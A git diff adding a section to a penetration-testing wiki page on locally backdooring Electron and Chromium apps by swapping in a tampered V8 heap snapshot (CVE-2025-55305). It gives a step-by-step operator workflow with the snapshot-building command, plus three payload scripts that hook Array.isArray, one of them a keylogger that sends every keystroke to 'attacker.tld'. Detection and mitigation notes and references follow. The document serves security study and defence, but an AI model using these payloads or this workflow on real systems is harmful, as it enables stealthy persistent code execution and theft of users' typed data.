diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 59236ba8f..ed124f26c 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -479,8 +479,124 @@ npm install npm start ``` +## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305 + +Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR. + +Key points +- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots. +- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS). +- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification. +- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations. + +Generating a malicious snapshot without building Chromium +- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin. + +Example minimal payload (prove execution by forcing a crash) +```js +// Build snapshot from this payload +// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" +// Replace the application’s v8_context_snapshot.bin with the generated file + +const orig = Array.isArray; + +// Use Array.isArray as a ubiquitous gadget +Array.isArray = function () { + // Executed whenever the app calls Array.isArray + throw new Error("testing isArray gadget"); +}; +``` + +Isolate-aware payload routing (run different code in main vs. renderer) +- Main process detection: Node-only globals like process.pid, process.binding(), or process.dlopen are present in the main process isolate. +- Browser/renderer detection: Browser-only globals like alert are available when running in a document context. + +Example gadget that probes main-process Node capabilities once +```js +const orig = Array.isArray; + +Array.isArray = function() { + // Defer until we land in main (has Node process) + try { + if (!process || !process.pid) { + return orig(...arguments); + } + } catch (_) { + return orig(...arguments); + } + + // Run once + if (!globalThis._invoke_lock) { + globalThis._invoke_lock = true; + console.log('[payload] isArray hook started ...'); + + // Capability probing in main + console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`); + console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`); + console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`); + console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`); + process.exit(0); + } + return orig(...arguments); +}; +``` + +Renderer/browser-context data theft PoC (e.g., Slack) +```js +const orig = Array.isArray; +Array.isArray = function() { + // Wait for a browser context + try { + if (!alert) { + return orig(...arguments); + } + } catch (_) { + return orig(...arguments); + } + + if (!globalThis._invoke_lock) { + globalThis._invoke_lock = true; + setInterval(() => { + window.onkeydown = (e) => { + fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'}) + } + }, 1000); + } + return orig(...arguments); +}; +``` + +Operator workflow +1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate. +2) Build the snapshot without Chromium sources: + - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" +3) Overwrite the target application’s snapshot file(s): + - v8_context_snapshot.bin (always used) + - browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used) +4) Launch the application; the gadget executes whenever the chosen builtin is used. + +Notes and considerations +- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls. +- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app. +- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model. + +Detection and mitigations +- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix). +- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin. +- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values. + ## **References** +- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) +- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) +- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity) +- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots) +- [electron/mksnapshot](https://github.com/electron/mksnapshot) +- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/) +- [Loki C2](https://github.com/boku7/Loki/) +- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig) +- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model) + - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)